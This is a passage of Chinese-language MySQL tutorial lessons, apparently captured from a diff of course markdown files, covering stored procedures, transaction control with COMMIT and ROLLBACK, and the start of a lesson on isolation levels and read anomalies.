<audio id="audio" title="13丨什么是存储过程,在实际项目中用得多么?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/7a/cb/7af0629b30613af937de2c126ce081cb.mp3"></audio>
|
||||
|
||||
上一节我介绍了视图,它是SQL中的一个重要应用,使用视图对SQL查询进行封装,可以让SQL的代码结构更清晰,让用户权限管理更安全。
|
||||
|
||||
今天我来讲一下SQL的存储过程,它是SQL中另一个重要应用,和视图一样,都是对SQL代码进行封装,可以反复利用。它和视图有着同样的优点,清晰、安全,还可以减少网络传输量。不过它和视图不同,视图是虚拟表,通常不对底层数据表直接操作,而存储过程是程序化的SQL,可以直接操作底层数据表,相比于面向集合的操作方式,能够实现一些更复杂的数据处理。存储过程可以说是由SQL语句和流控制语句构成的语句集合,它和我们之前学到的函数一样,可以接收输入参数,也可以返回输出参数给调用者,返回计算结果。
|
||||
|
||||
今天有关存储过程的内容,你将重点掌握以下几个部分:
|
||||
|
||||
1. 什么是存储过程,如何创建一个存储过程?
|
||||
1. 流控制语句都有哪些,如何使用它们?
|
||||
1. 各大公司是如何看待存储过程的?在实际工作中,我们该如何使用存储过程?
|
||||
|
||||
## 什么是存储过程,如何创建一个存储过程
|
||||
|
||||
存储过程的英文是Stored Procedure。它的思想很简单,就是SQL语句的封装。一旦存储过程被创建出来,使用它就像使用函数一样简单,我们直接通过调用存储过程名即可。我在前面讲过,存储过程实际上由SQL语句和流控制语句共同组成。流控制语句都有哪些呢?这个我稍后讲解。
|
||||
|
||||
我们先来看下如何定义一个存储过程:
|
||||
|
||||
```
|
||||
CREATE PROCEDURE 存储过程名称([参数列表])
|
||||
BEGIN
|
||||
需要执行的语句
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
在这里,我们使用CREATE PROCEDURE创建一个存储过程,后面是存储过程的名称,以及过程所带的参数,可以包括输入参数和输出参数。最后由BEGIN和END来定义我们所要执行的语句块。
|
||||
|
||||
和视图一样,我们可以删除已经创建的存储过程,使用的是DROP PROCEDURE。如果要更新存储过程,我们需要使用ALTER PROCEDURE。
|
||||
|
||||
讲完了如何创建,更新和删除一个存储过程,下面我们来看下如何实现一个简单的存储过程。比如我想做一个累加运算,计算1+2+…+n等于多少,我们可以通过参数n来表示想要累加的个数,那么如何用存储过程实现这一目的呢?这里我做一个add_num的存储过程,具体的代码如下:
|
||||
|
||||
```
|
||||
CREATE PROCEDURE `add_num`(IN n INT)
|
||||
BEGIN
|
||||
DECLARE i INT;
|
||||
DECLARE sum INT;
|
||||
|
||||
SET i = 1;
|
||||
SET sum = 0;
|
||||
WHILE i <= n DO
|
||||
SET sum = sum + i;
|
||||
SET i = i +1;
|
||||
END WHILE;
|
||||
SELECT sum;
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
当我们需要再次使用这个存储过程的时候,直接使用 `CALL add_num(50);`即可。这里我传入的参数为50,也就是统计1+2+…+50的积累之和,查询结果为:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e4/1e/e4e29b71160980a9208c8da4dc2a6f1e.png" alt=""><br>
|
||||
这就是一个简单的存储过程,除了理解1+2+…+n的实现过程,还有两点你需要理解,一个是DELIMITER定义语句的结束符,另一个是存储过程的三种参数类型。
|
||||
|
||||
我们先来看下DELIMITER的作用。如果你使用Navicat这个工具来管理MySQL执行存储过程,那么直接执行上面这段代码就可以了。如果用的是MySQL,你还需要用DELIMITER来临时定义新的结束符。因为默认情况下SQL采用(;)作为结束符,这样当存储过程中的每一句SQL结束之后,采用(;)作为结束符,就相当于告诉SQL可以执行这一句了。但是存储过程是一个整体,我们不希望SQL逐条执行,而是采用存储过程整段执行的方式,因此我们就需要临时定义新的DELIMITER,新的结束符可以用(//)或者($$)。如果你用的是MySQL,那么上面这段代码,应该写成下面这样:
|
||||
|
||||
```
|
||||
DELIMITER //
|
||||
CREATE PROCEDURE `add_num`(IN n INT)
|
||||
BEGIN
|
||||
DECLARE i INT;
|
||||
DECLARE sum INT;
|
||||
|
||||
SET i = 1;
|
||||
SET sum = 0;
|
||||
WHILE i <= n DO
|
||||
SET sum = sum + i;
|
||||
SET i = i +1;
|
||||
END WHILE;
|
||||
SELECT sum;
|
||||
END //
|
||||
DELIMITER ;
|
||||
|
||||
```
|
||||
|
||||
首先我用(//)作为结束符,又在整个存储过程结束后采用了(//)作为结束符号,告诉SQL可以执行了,然后再将结束符还原成默认的(;)。
|
||||
|
||||
需要注意的是,如果你用的是Navicat工具,那么在编写存储过程的时候,Navicat会自动设置DELIMITER为其他符号,我们不需要再进行DELIMITER的操作。
|
||||
|
||||
我们再来看下存储过程的3种参数类型。在刚才的存储过程中,我们使用了IN类型的参数,另外还有OUT类型和INOUT类型,作用如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/8c/29/8c12ca959dbc6cfe1d62459481454429.png" alt=""><br>
|
||||
IN和OUT的结合,既用于存储过程的传入参数,同时又可以把计算结果放到参数中,调用者可以得到返回值。
|
||||
|
||||
你能看到,IN参数必须在调用存储过程时指定,而在存储过程中修改该参数的值不能被返回。而OUT参数和INOUT参数可以在存储过程中被改变,并可返回。
|
||||
|
||||
举个例子,这里会用到我们之前讲过的王者荣耀的英雄数据表heros。假设我想创建一个存储类型get_hero_scores,用来查询某一类型英雄中的最大的最大生命值,最小的最大魔法值,以及平均最大攻击值,那么该怎么写呢?
|
||||
|
||||
```
|
||||
CREATE PROCEDURE `get_hero_scores`(
|
||||
OUT max_max_hp FLOAT,
|
||||
OUT min_max_mp FLOAT,
|
||||
OUT avg_max_attack FLOAT,
|
||||
s VARCHAR(255)
|
||||
)
|
||||
BEGIN
|
||||
SELECT MAX(hp_max), MIN(mp_max), AVG(attack_max) FROM heros WHERE role_main = s INTO max_max_hp, min_max_mp, avg_max_attack;
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
你能看到我定义了4个参数类型,其中3个为OUT类型,分别为max_max_hp、min_max_mp和avg_max_attack,另一个参数s为IN类型。
|
||||
|
||||
这里我们从heros数据表中筛选主要英雄定位为s的英雄数据,即筛选条件为role_main=s,提取这些数据中的最大的最大生命值,最小的最大魔法值,以及平均最大攻击值,分别赋值给变量max_max_hp、min_max_mp和avg_max_attack。
|
||||
|
||||
然后我们就可以调用存储过程,使用下面这段代码即可:
|
||||
|
||||
```
|
||||
CALL get_hero_scores(@max_max_hp, @min_max_mp, @avg_max_attack, '战士');
|
||||
SELECT @max_max_hp, @min_max_mp, @avg_max_attack;
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/7f/e9/7f059f3cb9c345530c67db42af5d04e9.png" alt="">
|
||||
|
||||
## 流控制语句
|
||||
|
||||
流控制语句是用来做流程控制的,我刚才讲了两个简单的存储过程的例子,一个是1+2+…+n的结果计算,一个是王者荣耀的数据查询,你能看到这两个例子中,我用到了下面的流控制语句:
|
||||
|
||||
1. BEGIN…END:BEGIN…END中间包含了多个语句,每个语句都以(;)号为结束符。
|
||||
1. DECLARE:DECLARE用来声明变量,使用的位置在于BEGIN…END语句中间,而且需要在其他语句使用之前进行变量的声明。
|
||||
1. SET:赋值语句,用于对变量进行赋值。
|
||||
1. SELECT…INTO:把从数据表中查询的结果存放到变量中,也就是为变量赋值。
|
||||
|
||||
除了上面这些用到的流控制语句以外,还有一些常用的流控制语句:
|
||||
|
||||
1.IF…THEN…ENDIF:条件判断语句,我们还可以在IF…THEN…ENDIF中使用ELSE和ELSEIF来进行条件判断。<br>
|
||||
2.CASE:CASE语句用于多条件的分支判断,使用的语法是下面这样的。
|
||||
|
||||
```
|
||||
CASE
|
||||
WHEN expression1 THEN ...
|
||||
WHEN expression2 THEN ...
|
||||
...
|
||||
ELSE
|
||||
--ELSE语句可以加,也可以不加。加的话代表的所有条件都不满足时采用的方式。
|
||||
END
|
||||
|
||||
```
|
||||
|
||||
3.LOOP、LEAVE和ITERATE:LOOP是循环语句,使用LEAVE可以跳出循环,使用ITERATE则可以进入下一次循环。如果你有面向过程的编程语言的使用经验,你可以把LEAVE理解为BREAK,把ITERATE理解为CONTINUE。<br>
|
||||
4.REPEAT…UNTIL…END REPEAT:这是一个循环语句,首先会执行一次循环,然后在UNTIL中进行表达式的判断,如果满足条件就退出,即END REPEAT;如果条件不满足,则会就继续执行循环,直到满足退出条件为止。<br>
|
||||
5.WHILE…DO…END WHILE:这也是循环语句,和REPEAT循环不同的是,这个语句需要先进行条件判断,如果满足条件就进行循环,如果不满足条件就退出循环。
|
||||
|
||||
我们之前说过SQL是声明型语言,使用SQL就像在使用英语,简单直接。今天讲的存储过程,尤其是在存储过程中使用到的流控制语句,属于过程性语言,类似于C++语言中函数,这些语句可以帮我们解决复杂的业务逻辑。
|
||||
|
||||
## 关于存储过程使用的争议
|
||||
|
||||
尽管存储过程有诸多优点,但是对于存储过程的使用,一直都存在着很多争议,比如有些公司对于大型项目要求使用存储过程,而有些公司在手册中明确禁止使用存储过程,为什么这些公司对存储过程的使用需求差别这么大呢?
|
||||
|
||||
我们得从存储过程的特点来找答案。
|
||||
|
||||
你能看到存储过程有很多好处。
|
||||
|
||||
首先存储过程可以一次编译多次使用。存储过程只在创造时进行编译,之后的使用都不需要重新编译,这就提升了SQL的执行效率。其次它可以减少开发工作量。将代码封装成模块,实际上是编程的核心思想之一,这样可以把复杂的问题拆解成不同的模块,然后模块之间可以重复使用,在减少开发工作量的同时,还能保证代码的结构清晰。还有一点,存储过程的安全性强,我们在设定存储过程的时候可以设置对用户的使用权限,这样就和视图一样具有较强的安全性。最后它可以减少网络传输量,因为代码封装到存储过程中,每次使用只需要调用存储过程即可,这样就减少了网络传输量。同时在进行相对复杂的数据库操作时,原本需要使用一条一条的SQL语句,可能要连接多次数据库才能完成的操作,现在变成了一次存储过程,只需要连接一次即可。
|
||||
|
||||
基于上面这些优点,不少大公司都要求大型项目使用存储过程,比如微软、IBM等公司。但是国内的阿里并不推荐开发人员使用存储过程,这是为什么呢?
|
||||
|
||||
存储过程虽然有诸如上面的好处,但缺点也是很明显的。
|
||||
|
||||
它的可移植性差,存储过程不能跨数据库移植,比如在MySQL、Oracle和SQL Server里编写的存储过程,在换成其他数据库时都需要重新编写。
|
||||
|
||||
其次调试困难,只有少数DBMS支持存储过程的调试。对于复杂的存储过程来说,开发和维护都不容易。
|
||||
|
||||
此外,存储过程的版本管理也很困难,比如数据表索引发生变化了,可能会导致存储过程失效。我们在开发软件的时候往往需要进行版本管理,但是存储过程本身没有版本控制,版本迭代更新的时候很麻烦。
|
||||
|
||||
最后它不适合高并发的场景,高并发的场景需要减少数据库的压力,有时数据库会采用分库分表的方式,而且对可扩展性要求很高,在这种情况下,存储过程会变得难以维护,增加数据库的压力,显然就不适用了。
|
||||
|
||||
了解了存储过程的优缺点之后,我想说的是,存储过程既方便,又有局限性。尽管不同的公司对存储过程的态度不一,但是对于我们开发人员来说,不论怎样,掌握存储过程都是必备的技能之一。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/54/9f/54a0d3b0c0e5336c1da6fc84c909a49f.jpg" alt=""><br>
|
||||
最后我们做一个小练习吧。针对王者荣耀的英雄数据表heros表,请编写存储过程get_sum_score,用来得到某一类型英雄(主要定位为某一类型即可)的最大生命值的总和。
|
||||
|
||||
欢迎你在评论区写下你的答案,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
@@ -0,0 +1,153 @@
|
||||
<audio id="audio" title="14丨什么是事务处理,如何使用COMMIT和ROLLBACK进行操作?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/27/bf/270a3a064d24b4473da95708fa70d5bf.mp3"></audio>
|
||||
|
||||
我们知道在MySQL 5.5版本之前,默认的存储引擎是MyISAM,在5.5版本之后默认存储引擎是InnoDB。InnoDB和MyISAM区别之一就是InnoDB支持事务,也可以说这是InnoDB取代MyISAM的重要原因。那么什么是事务呢?事务的英文是transaction,从英文中你也能看出来它是进行一次处理的基本单元,要么完全执行,要么都不执行。
|
||||
|
||||
这么讲,你可能觉得有些抽象,我换一种方式讲。
|
||||
|
||||
不知道你是否遇到过这样的情况,你去家门口的小卖铺买东西,已经交了钱,但是老板比较忙接了个电话,忘记你是否交过钱,然后让你重新付款,这时你还要找之前的付款记录证明你已经完成了付款。
|
||||
|
||||
实际上如果我们线下的交易也能支持事务(满足事务的特性),就不会出现交了钱却拿不到商品的烦恼了,同样,对于小卖铺的老板来说,也不存在给出了商品但没有收到款的风险。总之,事务保证了一次处理的完整性,也保证了数据库中的数据一致性。它是一种高级的数据处理方式,如果我们在增加、删除、修改的时候某一个环节出了错,它允许我们回滚还原。正是因为这个特点,事务非常适合应用在安全性高的场景里,比如金融行业等。
|
||||
|
||||
我们今天就来学习下SQL中的事务。今天的课程你将重点掌握以下的内容:
|
||||
|
||||
1. 事务的特性是什么?如何理解它们?
|
||||
1. 如何对事务进行控制?控制的命令都有哪些?
|
||||
1. 为什么我们执行COMMIT、ROLLBACK这些命令的时候,有时会成功,有时会失败?
|
||||
|
||||
## 事务的特性:ACID
|
||||
|
||||
我刚才提到了事务的特性:要么完全执行,要么都不执行。不过要对事务进行更深一步的理解,还要从事务的4个特性说起,这4个特性用英文字母来表达就是ACID。
|
||||
|
||||
1. A,也就是原子性(Atomicity)。原子的概念就是不可分割,你可以把它理解为组成物质的基本单位,也是我们进行数据处理操作的基本单位。
|
||||
1. C,就是一致性(Consistency)。一致性指的就是数据库在进行事务操作后,会由原来的一致状态,变成另一种一致的状态。也就是说当事务提交后,或者当事务发生回滚后,数据库的完整性约束不能被破坏。
|
||||
1. I,就是隔离性(Isolation)。它指的是每个事务都是彼此独立的,不会受到其他事务的执行影响。也就是说一个事务在提交之前,对其他事务都是不可见的。
|
||||
1. 最后一个D,指的是持久性(Durability)。事务提交之后对数据的修改是持久性的,即使在系统出故障的情况下,比如系统崩溃或者存储介质发生故障,数据的修改依然是有效的。因为当事务完成,数据库的日志就会被更新,这时可以通过日志,让系统恢复到最后一次成功的更新状态。
|
||||
|
||||
ACID可以说是事务的四大特性,在这四个特性中,原子性是基础,隔离性是手段,一致性是约束条件,而持久性是我们的目的。原子性和隔离性比较好理解,这里我讲下对一致性的理解(国内很多网站上对一致性的阐述有误,具体你可以参考Wikipedia对[Consistency](https://en.wikipedia.org/wiki/ACID)的阐述)。
|
||||
|
||||
我之前讲到过数据表的7种常见约束([对应04篇](https://time.geekbang.org/column/article/101697))。这里指的一致性本身是由具体的业务定义的,也就是说,任何写入数据库中的数据都需要满足我们事先定义的约束规则。
|
||||
|
||||
比如说,在数据表中我们将姓名字段设置为唯一性约束,这时当事务进行提交或者事务发生回滚的时候,如果数据表中的姓名非唯一,就破坏了事务的一致性要求。所以说,事务操作会让数据表的状态变成另一种一致的状态,如果事务中的某个操作失败了,系统就会自动撤销当前正在执行的事务,返回到事务操作之前的状态。
|
||||
|
||||
事务的另一个特点就是持久性,持久性是通过事务日志来保证的。日志包括了回滚日志和重做日志。当我们通过事务对数据进行修改的时候,首先会将数据库的变化信息记录到重做日志中,然后再对数据库中对应的行进行修改。这样做的好处是,即使数据库系统崩溃,数据库重启后也能找到没有更新到数据库系统中的重做日志,重新执行,从而使事务具有持久性。
|
||||
|
||||
## 事务的控制
|
||||
|
||||
当我们了解了事务的特性后,再来看下如何使用事务。我们知道Oracle是支持事务的,而在MySQL中,则需要选择适合的存储引擎才可以支持事务。如果你使用的是MySQL,可以通过SHOW ENGINES命令来查看当前MySQL支持的存储引擎都有哪些,以及这些存储引擎是否支持事务。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/dd/45/ddfbb2ec8a03dc4eb3c77ae3dea63945.png" alt=""><br>
|
||||
你能看出在MySQL中,InnoDB是支持事务的,而MyISAM存储引擎不支持事务。
|
||||
|
||||
看到这里,我们已经对事务有了一定的了解,现在我们再来看下事务的常用控制语句都有哪些。
|
||||
|
||||
1. START TRANSACTION或者 BEGIN,作用是显式开启一个事务。
|
||||
1. COMMIT:提交事务。当提交事务后,对数据库的修改是永久性的。
|
||||
1. ROLLBACK或者ROLLBACK TO [SAVEPOINT],意为回滚事务。意思是撤销正在进行的所有没有提交的修改,或者将事务回滚到某个保存点。
|
||||
1. SAVEPOINT:在事务中创建保存点,方便后续针对保存点进行回滚。一个事务中可以存在多个保存点。
|
||||
1. RELEASE SAVEPOINT:删除某个保存点。
|
||||
1. SET TRANSACTION,设置事务的隔离级别。
|
||||
|
||||
需要说明的是,使用事务有两种方式,分别为隐式事务和显式事务。隐式事务实际上就是自动提交,Oracle默认不自动提交,需要手写COMMIT命令,而MySQL默认自动提交,当然我们可以配置MySQL的参数:
|
||||
|
||||
```
|
||||
mysql> set autocommit =0; //关闭自动提交
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
mysql> set autocommit =1; //开启自动提交
|
||||
|
||||
```
|
||||
|
||||
我们看下在MySQL的默认状态下,下面这个事务最后的处理结果是什么:
|
||||
|
||||
```
|
||||
CREATE TABLE test(name varchar(255), PRIMARY KEY (name)) ENGINE=InnoDB;
|
||||
BEGIN;
|
||||
INSERT INTO test SELECT '关羽';
|
||||
COMMIT;
|
||||
BEGIN;
|
||||
INSERT INTO test SELECT '张飞';
|
||||
INSERT INTO test SELECT '张飞';
|
||||
ROLLBACK;
|
||||
SELECT * FROM test;
|
||||
|
||||
```
|
||||
|
||||
运行结果(1行数据):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/a7/26/a7a49569e87dd5c6f5333a81d33c2826.png" alt="">
|
||||
|
||||
在这个事务中,整个SQL一共执行了2个事务,第一个是插入“关羽”,提交后执行成功,第二个是插入两次“张飞”,这里需要注意的是,我们将name设置为了主键,也就是说主键的值是唯一的,那么第二次插入“张飞”时就会产生错误,然后执行ROLLBACK相当于对事务进行了回滚,所以我们看到最终结果只有一行数据,也就是第一个事务执行之后的结果,即“关羽”。
|
||||
|
||||
那么如果我们进行下面的操作又会怎样呢?
|
||||
|
||||
```
|
||||
CREATE TABLE test(name varchar(255), PRIMARY KEY (name)) ENGINE=InnoDB;
|
||||
BEGIN;
|
||||
INSERT INTO test SELECT '关羽';
|
||||
COMMIT;
|
||||
INSERT INTO test SELECT '张飞';
|
||||
INSERT INTO test SELECT '张飞';
|
||||
ROLLBACK;
|
||||
SELECT * FROM test;
|
||||
|
||||
```
|
||||
|
||||
运行结果(2行数据):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/df/f7/df437e577ce75363f5eb22dc362dbff7.png" alt=""><br>
|
||||
你能看到这次数据是2行,上一次操作我把两次插入“张飞”放到一个事务里,而这次操作它们不在同一个事务里,那么对于MySQL来说,默认情况下这实际上就是两个事务,因为在autocommit=1的情况下,MySQL会进行隐式事务,也就是自动提交,因此在进行第一次插入“张飞”后,数据表里就存在了两行数据,而第二次插入“张飞”就会报错:`1062 - Duplicate entry '张飞' for key 'PRIMARY'`。
|
||||
|
||||
最后我们在执行ROLLBACK的时候,实际上事务已经自动提交了,就没法进行回滚了。
|
||||
|
||||
同样的我们再来看下这段代码,你又能发现什么不同呢?
|
||||
|
||||
```
|
||||
CREATE TABLE test(name varchar(255), PRIMARY KEY (name)) ENGINE=InnoDB;
|
||||
SET @@completion_type = 1;
|
||||
BEGIN;
|
||||
INSERT INTO test SELECT '关羽';
|
||||
COMMIT;
|
||||
INSERT INTO test SELECT '张飞';
|
||||
INSERT INTO test SELECT '张飞';
|
||||
ROLLBACK;
|
||||
SELECT * FROM test;
|
||||
|
||||
```
|
||||
|
||||
运行结果(1行数据):
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/26/80/26d1f5a4a534eb9b1415ce867f006b80.png" alt="">
|
||||
|
||||
你能看到还是相同的SQL代码,只是我在事务开始之前设置了`SET @@completion_type = 1;`,结果就和我们第一次处理的一样,只有一个“关羽”。这是为什么呢?
|
||||
|
||||
这里我讲解下MySQL中completion_type参数的作用,实际上这个参数有3种可能:
|
||||
|
||||
1. completion=0,这是默认情况。也就是说当我们执行COMMIT的时候会提交事务,在执行下一个事务时,还需要我们使用START TRANSACTION或者BEGIN来开启。
|
||||
1. completion=1,这种情况下,当我们提交事务后,相当于执行了COMMIT AND CHAIN,也就是开启一个链式事务,即当我们提交事务之后会开启一个相同隔离级别的事务(隔离级别会在下一节中进行介绍)。
|
||||
1. completion=2,这种情况下COMMIT=COMMIT AND RELEASE,也就是当我们提交后,会自动与服务器断开连接。
|
||||
|
||||
在上面这段代码里,我使用了completion=1,也就是说当我提交之后,相当于在下一行写了一个START TRANSACTION或BEGIN。这时两次插入“张飞”会被认为是在同一个事务之内的操作,那么第二次插入“张飞”就会导致事务失败,而回滚也将这次事务进行了撤销,所以你能看到的结果就只有一个“关羽”。
|
||||
|
||||
通过这样简单的练习,你应该能体会到事务提交和回滚的操作。
|
||||
|
||||
当我们设置autocommit=0时,不论是否采用START TRANSACTION或者BEGIN的方式来开启事务,都需要用COMMIT进行提交,让事务生效,使用ROLLBACK对事务进行回滚。
|
||||
|
||||
当我们设置autocommit=1时,每条SQL语句都会自动进行提交。<br>
|
||||
不过这时,如果你采用START TRANSACTION或者BEGIN的方式来显式地开启事务,那么这个事务只有在COMMIT时才会生效,在ROLLBACK时才会回滚。
|
||||
|
||||
## 总结
|
||||
|
||||
关于SQL中的事务处理,内容相对比较多,因此我会采用两节来进行讲解。今天我们对事务的概念进行了理解,并进行了简单的事务操作。我们在做数据库操作的时候,可能会失败,但正是因为有事务的存在,即使在数据库操作失败的情况下,也能保证数据的一致性。同样,多个应用程序访问数据库的时候,事务可以提供隔离,保证事务之间不被干扰。最后,事务一旦提交,结果就会是永久性的,这就意味着,即使系统崩溃了,数据库也可以对数据进行恢复。
|
||||
|
||||
在使用事务的过程中,我们会采用控制流语句对事务进行操作,不过在实际操作中,不一定每次使用COMMIT或ROLLBACK都会成功,你还需要知道当前系统的事务执行方式,也就是一些常用的参数情况,比如MySQL中的autocommit和completion_type等。
|
||||
|
||||
事务是数据库区别于文件系统的重要特性之一,当我们有了事务就会让数据库始终保持一致性,同时我们还能通过事务的机制恢复到某个时间点,这样可以保证已提交到数据库的修改不会因为系统崩溃而丢失。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6d/ae/6d9e3a6db17b2a4f52120ae67dece3ae.png" alt=""><br>
|
||||
今天的内容到这里就结束了,你能说一下MySQL中都有哪些存储引擎支持事务,通过什么命令可以查看它们吗?另外,你是如何理解事务的特性的?
|
||||
|
||||
欢迎你在评论区写下你的答案,也欢迎把这篇文章分享给你的朋友或者同事,一起来交流。
|
||||
|
||||
|
||||
@@ -0,0 +1,253 @@
|
||||
<audio id="audio" title="15丨初识事务隔离:隔离的级别有哪些,它们都解决了哪些异常问题?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/cf/62/cf23190e0286e17cfafe7c743acb7b62.mp3"></audio>
|
||||
|
||||
上一篇文章中,我们讲到了事务的四大特性ACID,分别是原子性、一致性、隔离性和持久性,其中隔离性是事务的基本特性之一,它可以防止数据库在并发处理时出现数据不一致的情况。最严格的情况下,我们可以采用串行化的方式来执行每一个事务,这就意味着事务之间是相互独立的,不存在并发的情况。然而在实际生产环境下,考虑到随着用户量的增多,会存在大规模并发访问的情况,这就要求数据库有更高的吞吐能力,这个时候串行化的方式就无法满足数据库高并发访问的需求,我们还需要降低数据库的隔离标准,来换取事务之间的并发能力。
|
||||
|
||||
有时候我们需要牺牲一定的正确性来换取效率的提升,也就是说,我们需要通过设置不同的隔离等级,以便在正确性和效率之间进行平衡。同时,随着RDBMS种类和应用场景的增多,数据库的设计者需要统一对数据库隔离级别进行定义,说明这些隔离标准都解决了哪些问题。
|
||||
|
||||
我们今天主要讲解事务的异常以及隔离级别都有哪些,如果你已经对它们有所了解,可以跳过本次章节,当然你也可以通过今天的课程快速复习一遍:
|
||||
|
||||
1. 事务并发处理可能存在的三种异常有哪些?什么是脏读、不可重复读和幻读?
|
||||
1. 针对可能存在的异常情况,四种事务隔离的级别分别是什么?
|
||||
1. 如何使用MySQL客户端来模拟脏读、不可重复读和幻读?
|
||||
|
||||
## 事务并发处理可能存在的异常都有哪些?
|
||||
|
||||
在了解数据库隔离级别之前,我们需要了解设定事务的隔离级别都要解决哪些可能存在的问题,也就是事务并发处理时会存在哪些异常情况。实际上,SQL-92标准中已经对3种异常情况进行了定义,这些异常情况级别分别为脏读(Dirty Read)、不可重复读(Nonrepeatable Read)和幻读(Phantom Read)。
|
||||
|
||||
脏读、不可重复读和幻读都代表了什么,我用一个例子来给你讲解下。比如说我们有个英雄表heros_temp,如下所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/66/dd/66cbeb736b5e92dc271f86b7152d46dd.png" alt=""><br>
|
||||
这张英雄表,我们会记录很多英雄的姓名,假设我们不对事务进行隔离操作,那么数据库在进行事务的并发处理时会出现怎样的情况?
|
||||
|
||||
第一天,小张访问数据库,正在进行事务操作,往里面写入一个新的英雄“吕布”:
|
||||
|
||||
```
|
||||
SQL> BEGIN;
|
||||
SQL> INSERT INTO heros_temp values(4, '吕布');
|
||||
|
||||
```
|
||||
|
||||
当小张还没有提交该事务的时候,小李又对数据表进行了访问,他想看下这张英雄表里都有哪些英雄:
|
||||
|
||||
```
|
||||
SQL> SELECT * FROM heros_temp;
|
||||
|
||||
```
|
||||
|
||||
这时,小李看到的结果如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/1c/a8/1c4c7b7d7223739eb5346e3159bb34a8.png" alt=""><br>
|
||||
你有没有发现什么异常?这个时候小张还没有提交事务,但是小李却读到了小张还没有提交的数据,这种现象我们称之为“脏读”。
|
||||
|
||||
那么什么是不可重复读呢?
|
||||
|
||||
第二天,小张想查看id=1的英雄是谁,于是他进行了SQL查询:
|
||||
|
||||
```
|
||||
SQL> BEGIN;
|
||||
SQL> SELECT name FROM heros_temp WHERE id = 1;
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e3/74/e31d7f286ac5d77a82fb6ece2d1d6174.png" alt=""><br>
|
||||
然而此时,小李开始了一个事务操作,他对id=1的英雄姓名进行了修改,把原来的“张飞”改成了“张翼德”:
|
||||
|
||||
```
|
||||
SQL> BEGIN;
|
||||
SQL> UPDATE heros_temp SET name = '张翼德' WHERE id = 1;
|
||||
|
||||
```
|
||||
|
||||
然后小张再一次进行查询,同样也是查看id=1的英雄是谁:
|
||||
|
||||
```
|
||||
SQL> SELECT name FROM heros_temp WHERE id = 1;
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/e3/74/e3f6e70119376869f9a39d739c842674.png" alt=""><br>
|
||||
这个时候你会发现,两次查询的结果并不一样。小张会想这是怎么回事呢?他明明刚执行了一次查询,马上又进行了一次查询,结果两次的查询结果不同。实际上小张遇到的情况我们称之为“不可重复读”,也就是同一条记录,两次读取的结果不同。
|
||||
|
||||
从这个例子中,我们能看到小张和小李,分别开启了两个事务,针对客户端A和客户端B,我用时间顺序的方式展示下他们各自执行的内容:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/c3/b8/c3361eaa98016638fc47af65ce12edb8.png" alt="">
|
||||
|
||||
那什么是幻读呢?
|
||||
|
||||
第三天,小张想要看下数据表里都有哪些英雄,他开始执行下面这条语句:
|
||||
|
||||
```
|
||||
SQL> SELECT * FROM heros_temp;
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/21/41/213f1601abb1629689d6d8477bd16641.png" alt=""><br>
|
||||
这时当小张执行完之后,小李又开始了一个事务,往数据库里插入一个新的英雄“吕布”:
|
||||
|
||||
```
|
||||
SQL> BEGIN;
|
||||
SQL> INSERT INTO heros_temp values(4, '吕布');
|
||||
|
||||
```
|
||||
|
||||
不巧的是,小张这时忘记了英雄都有哪些,又重新执行了一遍查询:
|
||||
|
||||
```
|
||||
SQL> SELECT * FROM heros_temp;
|
||||
|
||||
```
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/13/ab/134a542eae8b47b9c5da5b74aa96d3ab.png" alt=""><br>
|
||||
他发现这一次查询多了一个英雄,原来只有3个,现在变成了4个。这种异常情况我们称之为“幻读”。
|
||||
|
||||
我来总结下这三种异常情况的特点:
|
||||
|
||||
1. 脏读:读到了其他事务还没有提交的数据。
|
||||
1. 不可重复读:对某数据进行读取,发现两次读取的结果不同,也就是说没有读到相同的内容。这是因为有其他事务对这个数据同时进行了修改或删除。
|
||||
1. 幻读:事务A根据条件查询得到了N条数据,但此时事务B更改或者增加了M条符合事务A查询条件的数据,这样当事务A再次进行查询的时候发现会有N+M条数据,产生了幻读。
|
||||
|
||||
## 事务隔离的级别有哪些?
|
||||
|
||||
脏读、不可重复读和幻读这三种异常情况,是在SQL-92标准中定义的,同时SQL-92标准还定义了4种隔离级别来解决这些异常情况。
|
||||
|
||||
解决异常数量从少到多的顺序(比如读未提交可能存在3种异常,可串行化则不会存在这些异常)决定了隔离级别的高低,这四种隔离级别从低到高分别是:读未提交(READ UNCOMMITTED )、读已提交(READ COMMITTED)、可重复读(REPEATABLE READ)和可串行化(SERIALIZABLE)。这些隔离级别能解决的异常情况如下表所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b0/95/b07103c5f5486aec5e2daf1dacfd6f95.png" alt=""><br>
|
||||
你能看到可串行化能避免所有的异常情况,而读未提交则允许异常情况发生。
|
||||
|
||||
关于这四种级别,我来简单讲解下。
|
||||
|
||||
读未提交,也就是允许读到未提交的数据,这种情况下查询是不会使用锁的,可能会产生脏读、不可重复读、幻读等情况。
|
||||
|
||||
